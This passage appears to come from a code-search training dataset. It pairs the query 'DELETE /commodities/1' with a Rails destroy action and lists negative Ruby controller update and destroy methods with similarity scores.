"def update\n @occasion = Occasion.find(params[:id])\n @ocats = Ocat.all\n @gift_types = GiftType.all\n\n params[:occasion][:price_min] = params[:occasion][:price_min].gsub('$','').to_d * 100\n params[:occasion][:price_max] = params[:occasion][:price_max].gsub('$','').to_d * 100\n respond_to do |format|\n if @occasion.update_attributes(params[:occasion])\n format.html {\n flash[:success] = 'Occasion was successfully updated.'\n redirect_to @occasion \n }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @occasion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @equity.update(equity_params)\n format.html { redirect_to admin_risk_equity_path(@equity), notice: 'Equity was successfully updated.' }\n format.json { render :show, status: :ok, location: @equity }\n else\n format.html { render :edit }\n format.json { render json: @equity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @contract = Contract.find(params[:id])\n @units = Unit.unsold(params[:tower_id])\n respond_to do |format|\n if @contract.update_attributes(params[:contract])\n format.html { redirect_to tower_contract_path(@contract.unit.tower, @contract), notice: 'Contract was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contract.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n params.require(%i[id units])\n retrieve_and_validate_put.update!(units: params[:units])\n head :no_content\n end",
"def update\n if @city.update(city_params)\n render json: @city\n # 'city was successfully updated.'\n else\n render json: @city.errors, status: :unprocessable_entity\n end\n end",
"def update\n @sp_company_info = SpCompanyInfo.find(params[:id])\n\n respond_to do |format|\n if @sp_company_info.update_attributes(sp_company_info_params)\n format.html { redirect_to \"/sp_company_infos\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sp_company_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @onecompany_product = Onecompany::Product.find(params[:id])\n\n respond_to do |format|\n if @onecompany_product.update_attributes(params[:onecompany_product])\n format.html { redirect_to @onecompany_product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @onecompany_product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @category = Category.first\n @commodity = Commodity.find(params[:id])\n\n size = 0\n size = params[:commodity][:photo].size if params[:commodity][:photo]\n\n respond_to do |format|\n if size > 2000000\n @commodity.errors[:base] << \"Photo size should < 2MB\"\n format.html { render action: \"new\" }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n else\n if @commodity.update_attributes(params[:commodity])\n format.html { redirect_to @commodity, notice: 'Commodity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def update_companies\n current_companies = @movie.companies.collect { |c| c.id.to_s }\n\n delete_production_companies( current_companies )\n add_production_companies( current_companies ) unless params[:companies].nil?\n create_new_companies unless params[:new_companies].nil?\n end",
"def accommodation_params\n params.require(:accommodation).permit(:name, :price, :city, :description, :user_id, :rooms)\n end",
"def update\n city_params = params.require(:city).permit(:name)\n end",
"def update\n @competency = Competency.find(params[:id])\n\n respond_to do |format|\n if @competency.update_attributes(params[:competency])\n format.html { redirect_to @competency, notice: 'Competency was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @competency.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update\n respond_to do |format|\n if @cargo_slot.update(cargo_slot_params)\n format.html { redirect_to @cargo_slot, notice: 'Cargo slot was successfully updated.' }\n format.json { render :show, status: :ok, location: @cargo_slot }\n else\n format.html { render :edit }\n format.json { render json: @cargo_slot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @company = Company.find(params[:id])\n\n if @company.update_attributes(params[:company])\n respond_with @company\n else\n respond_with @company, status: :unprocessable_entity\n end\n end",
"def update\n @company = Company.find(params[:id])\n Rails.logger.info \"******\\n\\n\\nCompany: #{params[:company]}***********\\n\\n\\n\"\n respond_to do |format|\n if @company.update_attributes(params[:company])\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lab_equipment = LabEquipment.find(params[:id])\n\n respond_to do |format|\n if @lab_equipment.update_attributes(params[:lab_equipment])\n format.html { redirect_to @lab_equipment, notice: 'Lab equipment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lab_equipment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @company = Company.new(company_params)\n @data = return_all_details(company_params[:places_id])\n respond_to do |format|\n if @company.save\n @company.update(rating: @data[\"result\"][\"rating\"])\n @company.update(phone_number: @data[\"result\"][\"formatted_phone_number\"])\n format.html { redirect_to @company, notice: 'Company was successfully created.' }\n format.json { render :show, status: :created, location: @company }\n else\n format.html { render :new }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @food.update(food_params)\n respond_with @food, location: -> { kitchen_board_path }\n end",
"def update\n @opportunity_role = OpportunityRole.find(params[:id])\n\n\n\n @opportunity_role.update(opportunity_role_params)\n render json: @OpportunityRole_role\n end",
"def update\n json_response(@food_item.update!(food_item_params))\n end",
"def update_offices_textfield_from_company\n\n if params[:id] == \"0\"\n @offices = []\n else\n @offices = Company.find(params[:id]).offices\n end\n\n respond_to do |format|\n format.html # update_province_textfield.html.erb does not exist! JSON only\n format.json { render json: @offices }\n end\n end",
"def update\n @company = Company.find(params[:id])\n respond_to do |format|\n if @company.update(company_params)\n format.html { redirect_to companies_path, notice: 'Company was successfully updated.' }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update\n @equipo = Equipo.find params[:id]\n if @equipo.update(equipo_params)\n render :show, status: :ok, location: @equipo\n else\n render json: @equipo.errors, status: :unprocessable_entity\n end\n end",
"def update\n @modality.update(modality_params)\n head :no_content\n end",
"def update\n render json: Item.update(params[\"id\"], params[\"item\"])\n end",
"def update\n respond_to do |format|\n if @company.update(company_params)\n format.json { render :show, status: :ok, location: @company }\n else\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @company = Company.find(1)\n @trucks = @company.get_trucks()\n @employees = @company.get_employees()\n \n respond_to do |format|\n if @sheet_route_detail.update(sheet_route_detail_params)\n format.html { redirect_to @sheet_route, notice: 'Sheet route detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @sheet_route_detail }\n else\n format.html { render :edit }\n format.json { render json: @sheet_route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @company = Company.find(params[:id])\n\n respond_to do |format|\n if @company.update_attributes(params[:company])\n format.html {\n redirect_to @company, notice: 'Company was successfully updated.'\n }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json {\n render json: @company.errors, status: :unprocessable_entity\n }\n end\n end\n end",
"def update\n begin\n @api_v1_product.update!(api_v1_product_params)\n head :no_content\n rescue => ex\n json_response({error: ex.message}, :unprocessable_entity)\n end\n end",
"def update\n @company = Company.find(params[:id])\n\n respond_to do |format|\n if @company.update_attributes(params[:company])\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @company = Company.find(params[:id])\n\n respond_to do |format|\n if @company.update_attributes(params[:company])\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @company = Company.find(params[:id])\n\n respond_to do |format|\n if @company.update_attributes(params[:company])\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @company = Company.find(params[:id])\n\n respond_to do |format|\n if @company.update_attributes(params[:company])\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @company = Company.find(params[:id])\n\n respond_to do |format|\n if @company.update_attributes(params[:company])\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @company = Company.find(params[:id])\n\n respond_to do |format|\n if @company.update_attributes(params[:company])\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n respond_to do |format|\n if @comunity.update(comunity_params)\n format.html { redirect_to @comunity, notice: 'Comunity was successfully updated.' }\n format.json { render :show, status: :ok, location: @comunity }\n else\n format.html { render :edit }\n format.json { render json: @comunity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n authorize! :update, Carpool\n @carpool = Carpool.new(carpool_params)\n\n respond_to do |format|\n if @carpool.save\n format.html { redirect_to @carpool, notice: 'Carpool was successfully created.' }\n format.json { render :show, status: :created, location: @carpool }\n else\n format.html { render :new }\n format.json { render json: @carpool.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @hiring_company.update(hiring_company_params)\n format.html { redirect_to @hiring_company, notice: 'Hiring company was successfully updated.' }\n format.json { render :show, status: :ok, location: @hiring_company }\n else\n format.html { render :edit }\n format.json { render json: @hiring_company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # build_resource\n if resource.status == 'Open'\n resource.update_attributes permitted_params[:contract]\n if !resource.valid?\n render json: resource.errors, status: :unprocessable_entity\n else\n resource.save\n respond_with json: {}, status: :ok\n end\n else\n respond_with json: [{'error':'The contract must be Open to edit.'}], status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @intelcompany.update(intelcompany_params)\n format.html { redirect_to @intelcompany, notice: 'Intel company was successfully updated.' }\n format.json { render :show, status: :ok, location: @intelcompany }\n else\n format.html { render :edit }\n format.json { render json: @intelcompany.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.698199",
"0.6865258",
"0.6549405",
"0.625449",
"0.61144966",
"0.6061187",
"0.6029585",
"0.59958655",
"0.5914688",
"0.5914688",
"0.5864249",
"0.57738084",
"0.5706487",
"0.569667",
"0.5666119",
"0.56512976",
"0.56425893",
"0.56246763",
"0.56246763",
"0.5579705",
"0.5577149",
"0.55704975",
"0.55381733",
"0.55381733",
"0.55117035",
"0.5511687",
"0.5507836",
"0.5507053",
"0.5504233",
"0.54922205",
"0.5478972",
"0.547122",
"0.5470421",
"0.5469618",
"0.54667515",
"0.5458597",
"0.54471886",
"0.54271567",
"0.5392796",
"0.5390286",
"0.538479",
"0.5380775",
"0.5379803",
"0.53758085",
"0.53704274",
"0.5346977",
"0.53370744",
"0.53264564",
"0.53198844",
"0.5316136",
"0.5315171",
"0.53129846",
"0.53128785",
"0.5312557",
"0.53114957",
"0.5310248",
"0.5307545",
"0.52921736",
"0.52888286",
"0.52831614",
"0.5281371",
"0.52731985",
"0.5273063",
"0.5262765",
"0.5262409",
"0.52607626",
"0.52556443",
"0.5243246",
"0.5243006",
"0.52355057",
"0.5233041",
"0.5231204",
"0.52218103",
"0.52184427",
"0.5211704",
"0.5210459",
"0.520628",
"0.52049506",
"0.52048934",
"0.5204481",
"0.5204428",
"0.5201532",
"0.52010643",
"0.51957774",
"0.51921445",
"0.5189646",
"0.5187894",
"0.51871663",
"0.5184182",
"0.5184182",
"0.5184182",
"0.5184182",
"0.5184182",
"0.5184182",
"0.5180798",
"0.51781845",
"0.5173268",
"0.5170309",
"0.516986",
"0.5168036"
] | 0.6982537 | 0 |
DELETE /commodities/1 DELETE /commodities/1.json | def destroy
@commodity = Commodity.find(params[:id])
@commodity.destroy
respond_to do |format|
format.html { redirect_to commodities_url }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @commodity.destroy\n respond_to do |format|\n format.html { redirect_to commodities_url, flash: {success: '操作成功.' } }\n format.json { head :no_content }\n end\n end",
"def destroy\n @commodity = Commodity.find(params[:id])\n @commodity.num = 0\n\n respond_to do |format|\n if @commodity.save\n format.html { redirect_to commodities_url, notice: 'Commodity was successfully canceled.' }\n format.json { render json: @commodity, status: :created, location: @commodity }\n end\n end\n end",
"def delete\n render json: Company.delete(params[\"id\"])\n end",
"def destroy\n @depot_fuel.destroy\n respond_to do |format|\n format.html { redirect_to depot_fuels_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @competency = Competency.find(params[:id])\n @competency.destroy\n\n respond_to do |format|\n format.html { redirect_to competencies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trein_consul_comercial.destroy\n respond_to do |format|\n format.html { redirect_to trein_consul_comercials_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @equipment = Equipment.find(params[:id])\n @equipment.destroy\n\n respond_to do |format|\n format.html { redirect_to equipment_index_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recipy = Recipy.find(params[:id])\n @recipy.destroy\n\n respond_to do |format|\n format.html { redirect_to recipies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @competency.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @commemt = Commemt.find(params[:id])\n @commemt.destroy\n\n respond_to do |format|\n format.html { redirect_to commemts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @carpool = Carpool.find(params[:id])\n @carpool.destroy\n\n respond_to do |format|\n format.html { redirect_to carpools_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @accommodation.destroy\n respond_to do |format|\n format.html { redirect_to accommodations_url, notice: 'Accommodation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lab_equipment = LabEquipment.find(params[:id])\n @lab_equipment.destroy\n\n respond_to do |format|\n format.html { redirect_to lab_equipments_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @commtent1 = Commtent1.find(params[:id])\n @commtent1.destroy\n\n respond_to do |format|\n format.html { redirect_to commtent1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n logger.debug 'destroy_some interesting information'\n @comdty = Comdty.find(params[:id])\n @comdty.destroy\n\n respond_to do |format|\n format.html { redirect_to(comdties_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @facility_cost_item.destroy\n respond_to do |format|\n format.html { redirect_to facility_cost_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @accommodation = Accommodation.find(params[:id])\n @accommodation.destroy\n\n respond_to do |format|\n format.html { redirect_to(yacht_accommodations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @mostsmallitemequipinventory = Mostsmallitemequipinventory.find(params[:id])\n @mostsmallitemequipinventory.destroy\n\n respond_to do |format|\n format.html { redirect_to mostsmallitemequipinventories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @comic = Comic.find(params[:id])\n @comic.destroy\n\n respond_to do |format|\n format.html { redirect_to comics_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Item.delete(params[\"id\"])\n end",
"def destroy\n @company.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @comunity.destroy\n respond_to do |format|\n format.html { redirect_to comunities_url, notice: 'Comunity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @commission.destroy\n respond_to do |format|\n format.html { redirect_to commissions_url, notice: 'Commission was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @rail_company.destroy\n respond_to do |format|\n format.html { redirect_to rail_companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contract = Contract.find(params[:id])\n @contract.destroy\n\n respond_to do |format|\n format.html { redirect_to tower_contracts_path(@tower) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_expense.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_expenses_url, notice: 'Expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @specific_equipment.destroy\n respond_to do |format|\n format.html { redirect_to specific_equipments_url, notice: 'Specific equipment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company_royalty_detail.destroy\n respond_to do |format|\n format.html { redirect_to company_royalty_details_url, notice: 'Company royalty detail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @competent = Competent.find(params[:id])\n @competent.destroy\n\n respond_to do |format|\n format.html { redirect_to competents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @equipment_line_item.destroy\n respond_to do |format|\n format.html { redirect_to equipment_line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @equipment_tire.destroy\n respond_to do |format|\n format.html { redirect_to equipment_tires_url, notice: 'Equipment tire was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @crunch_company = CrunchCompany.find(params[:id])\n @crunch_company.destroy\n\n respond_to do |format|\n format.html { redirect_to crunch_companies_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @accommodation_charge.destroy\n respond_to do |format|\n format.html { redirect_to accommodation_charges_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @slot = Slot.where(:id => params[:id], :company_id => current_user.company.id).first\n @slot.destroy\n\n respond_to do |format|\n format.html { redirect_to slots_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @accommodation_change = AccommodationChange.find(params[:id])\n @accommodation_change.destroy\n\n respond_to do |format|\n format.html { redirect_to accommodation_changes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @carpool.destroy\n respond_to do |format|\n format.html { redirect_to carpools_url, notice: 'Carpool was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fleet.destroy\n respond_to do |format|\n format.html { redirect_to fleets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @complexity = Complexity.find(params[:id])\n @complexity.destroy\n\n respond_to do |format|\n format.html { redirect_to complexities_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @periodicity.destroy\n respond_to do |format|\n format.html { redirect_to periodicities_url, notice: 'Periodicity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @clonet = Clonet.find(params[:id])\n @clonet.destroy\n\n respond_to do |format|\n format.html { redirect_to clonets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @v1_chore = Chore.where(id: params[:id])\n if @v1_chore.destroy\n head(:ok)\n else\n head(:unprocessable_entity)\n end\n end",
"def destroy\n @equipment_detail.destroy\n respond_to do |format|\n format.html { redirect_to equipment_details_url, notice: 'Se ha eliminado un Equipo ' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fueltype = Fueltype.find(params[:id])\n @fueltype.destroy\n\n respond_to do |format|\n format.html { redirect_to fueltypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @comming_soon = CommingSoon.find(params[:id])\n @comming_soon.destroy\n\n respond_to do |format|\n format.html { redirect_to comming_soons_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n id = params[:id]\n @physical_rack = PhysicalRack.any_of({_id: id}, {name: id.gsub('-', '.')}).first\n @physical_rack.destroy\n\n respond_to do |format|\n format.html { redirect_to physical_racks_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @companium.destroy\n respond_to do |format|\n format.html { redirect_to compania_url, notice: 'Companium was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @equipment.destroy\n respond_to do |format|\n format.html { redirect_to equipment_index_url, notice: 'Equipment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @equipment.destroy\n respond_to do |format|\n format.html { redirect_to equipment_index_url, notice: 'Equipment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fleet = Fleet.find(params[:id])\n @fleet.destroy\n\n respond_to do |format|\n format.html { redirect_to fleets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @onecompany_product = Onecompany::Product.find(params[:id])\n @onecompany_product.destroy\n\n respond_to do |format|\n format.html { redirect_to onecompany_products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @comite.destroy\n respond_to do |format|\n format.html { redirect_to comites_url, notice: 'Comite was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n laboratory_id = params[:id]\n\n begin\n @laboratory = Laboratory.find(laboratory_id)\n\n @laboratory.delete if @laboratory.status == true\n render json: \"#{@laboratory.nome} deletado com sucesso!\"\n\n rescue ActiveRecord::RecordNotFound\n render json: 'esse dado já foi deletado!'\n end\n end",
"def destroy\n @expense = Expense.find params.fetch(:id)\n @expense.destroy\n head :no_content\n end",
"def destroy\n @caricullum = Caricullum.find(params[:id])\n @caricullum.destroy\n\n respond_to do |format|\n format.html { redirect_to caricullums_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n self.auth_admin\n @hall = Hall.where(name: @item.location)\n @item.destroy\n respond_to do |format|\n format.html { redirect_to halls_path(@hall), notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @portion = Portion.find(params[:id])\n @portion.destroy\n\n respond_to do |format|\n format.html { redirect_to portions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mostsmalltrapeffectinventory = Mostsmalltrapeffectinventory.find(params[:id])\n @mostsmalltrapeffectinventory.destroy\n\n respond_to do |format|\n format.html { redirect_to mostsmalltrapeffectinventories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @equipment.destroy\r\n respond_to do |format|\r\n format.html { redirect_to lab_lab_space_equipment_index_path, notice: 'Equipment was successfully destroyed.' }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @plate_cost = PlateCost.find(params[:id])\n @plate_cost.destroy\n\n respond_to do |format|\n format.html { redirect_to plate_costs_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @conductor = Conductor.find(params[:id])\n @conductor.destroy\n\n respond_to do |format|\n format.html { redirect_to conductors_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize! :destroy, Carpool\n @carpool.destroy\n respond_to do |format|\n format.html { redirect_to carpools_url, notice: 'Carpool was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @combustible.destroy\n respond_to do |format|\n format.html { redirect_to combustibles_url, notice: 'Combustible was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @equity.destroy\n respond_to do |format|\n format.html { redirect_to equities_url, notice: 'Equity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @equity.destroy\n respond_to do |format|\n format.html { redirect_to equities_url, notice: 'Equity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @grocery_list = GroceryList.find(params[:id])\n if @grocery_list.destroy\n render status: :ok # 200\n else\n render json: {\n errors: @grocery_list.errors.full_messages\n },\n status: 404\n end\n end",
"def destroy\n @thermo_oil_production = ThermoOilProduction.find(params[:id])\n @thermo_oil_production.destroy\n\n respond_to do |format|\n format.html { redirect_to thermo_oil_productions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @evaluable_competency = EvaluableCompetency.find(params[:id])\n @evaluable_competency.destroy\n\n respond_to do |format|\n format.html { redirect_to evaluable_competencies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @opportunity = Opportunity.find(params[:id])\n @opportunity.destroy\n\n respond_to do |format|\n format.html { redirect_to opportunities_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @sales_productivity = SalesProductivity.find(params[:id])\n @sales_productivity.destroy\n\n respond_to do |format|\n format.html { redirect_to sales_productivities_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @fuel_price.destroy\n respond_to do |format|\n format.html { redirect_to fuel_prices_url, notice: 'Fuel price was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n # find ALL servings associated with this purchase and delete them\n all_servings = Serving.where(purchase_id: @purchase.id)\n puts \"all servings associated with this purchase: #{all_servings}\"\n all_servings.destroy_all\n puts \"deleted servings\"\n @purchase.destroy\n puts \"deleted purchase\"\n render json: {status: 204, purchase: @purchase}\n end",
"def destroy\n @occupant = Occupant.find(params[:id])\n @occupant.destroy\n\n respond_to do |format|\n format.html { redirect_to occupants_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @add_fuel.destroy\n respond_to do |format|\n format.html { redirect_to add_fuels_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @requisition = Requisition.find(params[:id])\n @requisition.destroy\n\n respond_to do |format|\n format.html { redirect_to requisitions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @formulary = Formulary.find(params[:id])\n @formulary.destroy\n\n respond_to do |format|\n format.html { redirect_to formularies_url }\n format.json { head :no_content }\n end\n end",
"def delete(name)\n raise('wrong type: String required') unless name.is_a?(String)\n raise('wrong value: name must be valid') unless !name.nil? && !name.empty?\n\n @client.post({\n 'action' => 'del',\n 'object' => 'htpl',\n 'values' => name,\n }.to_json)\n end",
"def destroy\n @closet_item = ClosetItem.find(params[:id])\n @closet_item.destroy\n\n respond_to do |format|\n format.html { redirect_to closet_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @company = Company.find(params[:id])\r\n @company.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to companies_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @petty_cash_expense.destroy\n head :no_content \n end",
"def destroy\n @shipfleet.destroy\n respond_to do |format|\n format.html { redirect_to shipfleets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @clitem.destroy\n respond_to do |format|\n format.html { redirect_to clitems_url }\n format.json { head :no_content }\n\n end\n end",
"def destroy\n @city.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_index_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @opportunity.destroy\n\n head :no_content\n end",
"def destroy\n @mission_capacity.destroy\n respond_to do |format|\n format.html { redirect_to mission_capacities_url, notice: 'Mission capacity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @comic = Comic.find(params[:id])\n @comic.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_comics_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @commission_type.destroy\n respond_to do |format|\n format.html { redirect_to commission_types_url, notice: 'Commission type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quantity = Quantity.find(params[:id])\n @quantity.destroy\n\n respond_to do |format|\n format.html { redirect_to quantities_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quantity = Quantity.find(params[:id])\n @quantity.destroy\n\n respond_to do |format|\n format.html { redirect_to quantities_url }\n format.json { head :no_content }\n end\n end"
] | [
"0.73369837",
"0.70824623",
"0.68722385",
"0.67435133",
"0.6578203",
"0.655855",
"0.6527886",
"0.6525086",
"0.651146",
"0.65054107",
"0.6503747",
"0.64894783",
"0.6469133",
"0.64428556",
"0.6442285",
"0.643782",
"0.64324564",
"0.6415179",
"0.6380721",
"0.6375529",
"0.637437",
"0.6369601",
"0.633849",
"0.6332602",
"0.6328296",
"0.63249534",
"0.63038045",
"0.6299923",
"0.629971",
"0.62956595",
"0.62905353",
"0.6288607",
"0.62860006",
"0.6284766",
"0.6280406",
"0.62788707",
"0.6275018",
"0.6270862",
"0.6269652",
"0.6264112",
"0.6259122",
"0.62499416",
"0.6249212",
"0.62490165",
"0.6247657",
"0.6237784",
"0.62309843",
"0.62309843",
"0.62309843",
"0.62309843",
"0.62309843",
"0.62309843",
"0.62309843",
"0.62309843",
"0.62309843",
"0.62309843",
"0.62299997",
"0.62296784",
"0.62296784",
